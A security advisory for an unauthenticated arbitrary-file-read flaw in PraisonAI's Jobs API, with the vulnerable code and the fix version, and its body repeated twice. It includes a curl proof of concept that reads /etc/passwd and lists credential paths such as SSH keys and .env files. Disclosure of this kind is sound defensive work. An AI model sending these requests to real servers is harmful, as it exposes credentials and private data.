PraisonAI is a multi-agent teams system. Prior to 4.6.59, the unauthenticated Jobs API accepts an absolute or traversing agent_file path in POST /api/v1/runs and passes it to the job executor without a workspace allowlist or boundary check. A remote caller can cause the server to open files accessible to the service account, exposing credentials, keys, environment variables, and other local data. This vulnerability is fixed in 4.6.59.

Affected: PyPI: praisonai

### Summary An unauthenticated attacker can read arbitrary files on the server by supplying an absolute filesystem path in the `agent_file` field of the Jobs API. The field has no path validation, no allowlist, and no authentication is required to submit jobs.

### Details The `agent_file` field in `JobSubmitRequest` accepts any filesystem path with no validation:

```python # src/praisonai/praisonai/jobs/models.py:29 agent_file: Optional[str] = Field(None, description="Path to agents.yaml file") # NO path validator, NO allowlist ```

The executor reads the file directly:

```python # src/praisonai/praisonai/jobs/executor.py:221 agent_file = job.agent_file or "agents.yaml" # passed directly to yaml.safe_load(open(agent_file)) ```

### Proof of Concept

```bash curl -X POST http://:8005/api/v1/runs \ -H "Content-Type: application/json" \ -d '{"prompt": "run", "agent_file": "/etc/passwd"}' ```

Server responds with contents of `/etc/passwd`.

Other exploitable paths: - `/proc/1/environ` — environment variables, API keys - `/home//.ssh/id_rsa` — SSH private keys - `/app/.env` — application secrets

### Impact Any unauthenticated attacker with network access to port 8005 can read any file accessible to the server process, including credentials, private keys, and environment variables.

Affected: PyPI: praisonai

### Summary An unauthenticated attacker can read arbitrary files on the server by supplying an absolute filesystem path in the `agent_file` field of the Jobs API. The field has no path validation, no allowlist, and no authentication is required to submit jobs.

### Details The `agent_file` field in `JobSubmitRequest` accepts any filesystem path with no validation:

```python # src/praisonai/praisonai/jobs/models.py:29 agent_file: Optional[str] = Field(None, description="Path to agents.yaml file") # NO path validator, NO allowlist ```

The executor reads the file directly:

```python # src/praisonai/praisonai/jobs/executor.py:221 agent_file = job.agent_file or "agents.yaml" # passed directly to yaml.safe_load(open(agent_file)) ```

### Proof of Concept

```bash curl -X POST http://:8005/api/v1/runs \ -H "Content-Type: application/json" \ -d '{"prompt": "run", "agent_file": "/etc/passwd"}' ```

Server responds with contents of `/etc/passwd`.

Other exploitable paths: - `/proc/1/environ` — environment variables, API keys - `/home//.ssh/id_rsa` — SSH private keys - `/app/.env` — application secrets

### Impact Any unauthenticated attacker with network access to port 8005 can read any file accessible to the server process, including credentials, private keys, and environment variables.